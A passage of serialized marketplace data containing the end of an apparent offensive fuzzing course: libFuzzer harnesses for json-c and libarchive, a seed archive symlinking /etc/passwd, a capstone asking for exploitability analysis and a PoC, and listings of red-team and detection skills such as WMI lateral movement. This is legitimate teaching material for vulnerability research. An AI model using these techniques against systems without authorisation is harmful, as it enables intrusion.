\"test\", \"value\": 42}\nEOF\n\ncat > corpus\u002Fvalid2.json \u003C\u003C 'EOF'\n[1, 2, 3, {\"nested\": \"object\"}]\nEOF\n\ncat > corpus\u002Fvalid3.json \u003C\u003C 'EOF'\n{\n    \"string\": \"value\",\n    \"number\": 123,\n    \"boolean\": true,\n    \"null\": null,\n    \"array\": [1, 2, 3],\n    \"object\": {\"key\": \"value\"}\n}\nEOF\n\n# Run libFuzzer, it might take a while to actually crash\n.\u002Ffuzz_json corpus\u002F -max_total_time=300 -print_final_stats=1 -max_len=10000\n```\n\n#### Harness Design Principles Applied\n\n1. **In-process execution**: `LLVMFuzzerTestOneInput` - no fork\u002Fexec overhead\n2. **Direct API targeting**: Calls `json_tokener_parse_ex` directly\n3. **Coverage maximization**: Exercises multiple code paths (objects, arrays, serialization)\n4. **Proper cleanup**: Frees allocated memory to avoid OOM\n5. **Sanitizer-friendly**: Works with ASAN\u002FUBSAN for bug detection\n\n### Case Study: Fuzzing Archive Extractors\n\nWhile CVE-2023-38831 was in closed-source WinRAR, let's fuzz open-source alternatives with similar architectures.\n\n```bash\ncd ~\u002Fharness_dev && mkdir archive_campaign && cd archive_campaign\n\n# Target: libarchive (used by many archive tools)\ngit clone --depth 1 --branch v3.5.1 https:\u002F\u002Fgithub.com\u002Flibarchive\u002Flibarchive.git\ncd ~\u002Fharness_dev\u002Farchive_campaign\u002Flibarchive\n\nexport CC=clang-19\nexport CXX=clang++-19\nexport CFLAGS=\"-fno-sanitize-coverage=trace-cmp -fsanitize=fuzzer-no-link,undefined,address -g -O1\"\nexport CXXFLAGS=\"-fno-sanitize-coverage=trace-cmp -fsanitize=fuzzer-no-link,undefined,address -g -O1\"\n\ncmake -DENABLE_TEST=OFF .\nmake -j$(nproc)\n\ncd ~\u002Fharness_dev\u002Farchive_campaign\u002F\n\ncat > fuzz_archive_read.c \u003C\u003C 'EOF'\n#include \"archive.h\"\n#include \"archive_entry.h\"\n#include \u003Cstdint.h>\n#include \u003Cstddef.h>\n#include \u003Cstdlib.h>\n\nint LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n    struct archive *a;\n    struct archive_entry *entry;\n    int r;\n\n    a = archive_read_new();\n    if (!a) return 0;\n\n    archive_read_support_filter_all(a);\n    archive_read_support_format_all(a);\n\n    r = archive_read_open_memory(a, data, size);\n    if (r != ARCHIVE_OK) {\n        archive_read_free(a);\n        return 0;\n    }\n\n    while (archive_read_next_header(a, &entry) == ARCHIVE_OK) {\n        const char *name = archive_entry_pathname(entry);\n        int64_t size = archive_entry_size(entry);\n        mode_t mode = archive_entry_mode(entry);\n        time_t mtime = archive_entry_mtime(entry);\n\n        const char *linkname = archive_entry_symlink(entry);\n        const char *hardlink = archive_entry_hardlink(entry);\n\n        const void *buff;\n        size_t read_size;\n        int64_t offset;\n        while (archive_read_data_block(a, &buff, &read_size, &offset) == ARCHIVE_OK) {\n            \u002F\u002F Just consume data, no processing needed\n        }\n    }\n\n    archive_read_free(a);\n    return 0;\n}\nEOF\n\n# Compile harness\nclang-19 -g -O1 -fsanitize=address,undefined,fuzzer \\\n    -fno-sanitize-coverage=trace-cmp \\\n    -I.\u002Flibarchive\u002Flibarchive \\\n    fuzz_archive_read.c -o fuzz_archive \\\n    libarchive\u002Flibarchive\u002Flibarchive.a \\\n    -lz -llzma -lzstd -lxml2 -lcrypto -ldl -lpthread\n\n# Build diverse seed corpus\nmkdir -p corpus_archive\n\n# Valid archives of different formats\n# ZIP\necho \"Test file\" > \u002Ftmp\u002Ftest.txt\nzip corpus_archive\u002Fsample.zip \u002Ftmp\u002Ftest.txt\n\n# TAR.GZ\ntar czf corpus_archive\u002Fsample.tar.gz \u002Ftmp\u002Ftest.txt\n\n# 7z (if available)\n7z a corpus_archive\u002Fsample.7z \u002Ftmp\u002Ftest.txt 2>\u002Fdev\u002Fnull || true\n\n# RAR (if available)\nrar a corpus_archive\u002Fsample.rar \u002Ftmp\u002Ftest.txt 2>\u002Fdev\u002Fnull || true\n\n# Archive with symlink (common bug location)\nln -sf \u002Fetc\u002Fpasswd \u002Ftmp\u002Fsymlink_test\ntar czf corpus_archive\u002Fwith_symlink.tar.gz \u002Ftmp\u002Fsymlink_test 2>\u002Fdev\u002Fnull || true\n\n# Run fuzzing campaign\n.\u002Ffuzz_archive corpus_archive\u002F \\\n    -max_total_time=3600 \\\n    -timeout=30 \\\n    -rss_limit_mb=2048 \\\n    -print_final_stats=1\n```\n\n**What This Campaign Targets**:\n\n1. **Format parsing bugs**: TAR, ZIP, RAR, 7z, etc.\n2. **Compression algorithms**: gzip, bzip2, lzma, zstd\n3. **Path traversal**: Symlink\u002Fhardlink handling (like CVE-2023-38831)\n4. **Metadata parsing**: Timestamps, permissions, extended attributes\n5. **Memory corruption**: Buffer overflows in decompression routines\n\n**Expected Findings** (based on real OSS-Fuzz results):\n\n- Integer overflows in size calculations\n- Path traversal via symlinks\n- Buffer overflows in compression codecs\n- Use-after-free in error handling paths\n\n### Key Takeaways\n\n1. **Harness Design is Critical**: Efficient harnesses (in-process, persistent) significantly outperform naive `fork()\u002Fexec()` wrappers.\n2. **Target Logic, Not Just I\u002FO**: Good harnesses bypass CLI parsing to exercise core API logic directly (e.g., `json_tokener_parse_ex`).\n3. **Seed Corpus Quality**: A diverse, minimized corpus of valid inputs accelerates code coverage discovery.\n4. **Sanitizers Enable Detection**: Memory bugs (ASAN) and undefined behavior (UBSAN) are only found if the harness is compiled with them.\n5. **Continuous Integration**: Tools like OSS-Fuzz automate the \"find → fix → verify\" loop, preventing regressions in evolved code.\n\n### Discussion Questions\n\n1. Why is an in-process harness (like `LLVMFuzzerTestOneInput`) orders of magnitude faster than a file-based CLI wrapper?\n2. How does defining a proper seed corpus (e.g., valid JSON\u002FZIP files) help the fuzzer penetrate deeper into the target's logic?\n3. What are the risks of \"over-mocking\" in a harness (e.g., bypassing too much initialization) versus \"under-mocking\" (doing too much I\u002FO)?\n4. How do you handle state cleanup in a persistent-mode harness to prevent false positives from memory leaks or global state pollution?\n5. Why is it important to fuzz different layers of an application (e.g., the compression layer vs. the archive parsing layer) separately?\n\n## Week 2 Capstone Project: The Fuzzing Campaign\n\n- **Goal**: Apply the week's techniques to discover and analyze a vulnerability in a real-world open source target or a complex challenge binary.\n- **Activities**:\n  - **Select a Target**:\n    - Choose a C\u002FC++ library that parses complex data (e.g., JSON, XML, Images, Archives, Network Packets).\n    - Suggestions: `json-c`, `libarchive`, `libpng`, `tinyxml2`, `mbedtls`, or a known vulnerable version of a project (e.g., `libwebp` 1.0.0).\n  - **Harness Development**:\n    - Write a `LLVMFuzzerTestOneInput` harness or an AFL++ persistent mode harness.\n    - Ensure the harness compiles with ASAN and UBSAN.\n  - **Campaign Execution**:\n    - Gather a valid seed corpus (from the internet or by generating samples).\n    - Minimize the corpus using `afl-cmin` or `afl-tmin` (or libFuzzer's merge mode).\n    - Run the fuzzer for at least 4 hours (or until a crash is found).\n  - **Triage and Analysis**:\n    - Deduplicate crashes.\n    - Use GDB and ASAN reports to identify the root cause (e.g., Heap Overflow, UAF).\n    - Determine exploitability (Control of instruction pointer? Arbitrary write?).\n  - **Report**:\n    - Document the target, harness code, campaign commands, and crash analysis.\n\n### Deliverables\n\n- A `fuzzing_report.md` containing:\n  - **Target Details**: Project name, version, and function targeted.\n  - **Harness Code**: The C\u002FC++ harness you wrote.\n  - **Campaign Stats**: Fuzzer used, duration, executions\u002Fsec, and coverage achieved.\n  - **Crash Analysis**: ASAN output, GDB investigation, and root cause explanation.\n  - **PoC**: A minimal input file that triggers the crash.\n\n### Looking Ahead to Week 3\n\nNext week, you'll learn patch diffing - analyzing security updates to understand what was fixed and discovering variant vulnerabilities. You'll see how fuzzing discoveries lead to patches, and how analyzing those patches can reveal additional bugs.\n\n\u003C!-- Written by AnotherOne from @Pwn3rzs Telegram channel -->\n",{"name":5,"domain":24,"description":7},"main","a91f1293287ffa9f4f1b8f486cd6e835a1568c84","skills\u002Foffensive-fuzzing-course","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace","https:\u002F\u002Fgithub.com\u002FDCx7C5","#Python","2026-09-01 11:21:00",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add DCx7C5\u002Fai-marketplace --skill offensive-fuzzing-course",{"tool":43,"command":44},"bunx","bunx skills add DCx7C5\u002Fai-marketplace --skill offensive-fuzzing-course",{"tool":46,"command":47},"pnpm","pnpm dlx skills add DCx7C5\u002Fai-marketplace --skill offensive-fuzzing-course","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Foffensive-fuzzing-course\u002FSKILL.md",true,[51],{"path":52,"resourceType":53,"resourceTypeDesc":54,"sizeBytes":55,"sourceHtmlUrl":56},"index.json","REFERENCE","参考文档",496,"https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Foffensive-fuzzing-course\u002Findex.json",[58,68,93,116,138,160],{"skillNo":59,"name":60,"nameZh":6,"description":61,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":62,"licenseFileUrl":63,"sourceHtmlUrl":64,"categories":65,"keywords":66,"publishedAt":67},"01M73MDK3NT5XHNYTQ5P5172V9","devel-jb-algorithmic-art","- Embed algorithms inline in the HTML artifact (don't create separate .","Apache-2.0","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fdevel-jb-algorithmic-art\u002FSKILL.md",[],[],"2026-11-11 15:11:14",{"skillNo":69,"name":70,"nameZh":6,"description":71,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":72,"categories":73,"keywords":74,"publishedAt":25},"01M71HAPZ01KQ30RKTB0FFSQ05","services-wmi-persistence-detect","Detect WMI event subscription persistence by enumerating ActiveScriptEventConsumer, CommandLineEventConsumer, and permanent subscriptions in the WMI repository.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fpersistence\u002Fdetect\u002FSKILL.md",[],[75,76,77,78,79,80,81,24,82,83,84,85,86,87,88,89,90,91,92],"services","detect","services wmi persistence detect","wmi","persistence","process-forensics","process","forensics","t1546.003","event-subscription","subscription","repository","commandline-consumer","subscriptions","event","activescript","cm","de",{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":97,"categories":98,"keywords":99,"publishedAt":25},"01M71HAK6JTTTS229T17WJMMCG","services-wmi-exec-exploit","Perform lateral movement across Windows networks using WMI-based remote execution techniques including Impacket wmiexec.py, CrackMapExec, and native WMI commands for stealthy post-exploitation during red team engagements.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fservices\u002Fwmi\u002Fexec\u002Fexploit\u002FSKILL.md",[],[100,78,101,75,102,103,104,105,106,24,107,108,109,110,111,112,113,114,92,115],"exec","services wmi exec exploit","exploit","across","Bash","analysis","team","traffic","remote","crackmapexec","Impacket","lateral-movement","read","lateral movement","command","native",{"skillNo":117,"name":118,"nameZh":6,"description":119,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":120,"categories":121,"keywords":122,"publishedAt":25},"01M71HAG6MHKNQV8KDZKMT4886","registry-artifact-extract","Extract and analyze Windows Registry hives to uncover user activity, installed software, autostart entries, and evidence of system compromise.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fregistry\u002Fartifact\u002Fextract\u002FSKILL.md",[],[123,124,125,126,127,128,129,130,131,132,112,92,133,134,105,135,104,24,136,137],"extract","registry artifact extract","registry","artifact","digital-forensics","sonnet","regripper","windows-registry","evidence-collection","software","uncover","analyze","collection","artifact-analysis","activity",{"skillNo":139,"name":140,"nameZh":6,"description":141,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":142,"categories":143,"keywords":144,"publishedAt":25},"01M71HACR4A8XTWTTSXK4124AA","processes-token-impersonate-detect","Detect Windows token impersonation and privilege abuse including SeImpersonatePrivilege exploitation via Potato attacks and token stealing techniques.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Ftoken\u002Fimpersonate\u002Fdetect\u002FSKILL.md",[],[145,146,147,76,24,148,91,149,150,151,80,92,152,153,154,155,156,157,158,159],"processes","token","processes token impersonate detect","techniques","escalation","windows","attacks","via","impersonation","potato","exploitation","printspoofer","token-impersonation","seimpersonate","privilege-escalation",{"skillNo":161,"name":162,"nameZh":6,"description":163,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":164,"categories":165,"keywords":166,"publishedAt":25},"01M71HAABSB4Z6QFSXEG00R4RK","processes-thread-injection-detect","Detect Windows thread injection techniques including CreateRemoteThread, QueueUserAPC, NtCreateThreadEx, and thread hijacking via process memory analysis.","https:\u002F\u002Fgithub.com\u002FDCx7C5\u002Fai-marketplace\u002Fblob\u002Fmain\u002Fskills\u002Fwindows\u002Fprocesses\u002Fthread\u002Finjection\u002Fdetect\u002FSKILL.md",[],[167,145,168,76,169,170,81,92,152,171,172,173,105,80,24,148,174,91,175,150],"thread","injection","processes thread injection detect","thread-injection","nt-api","apc-injection","api","process-injection","memory"]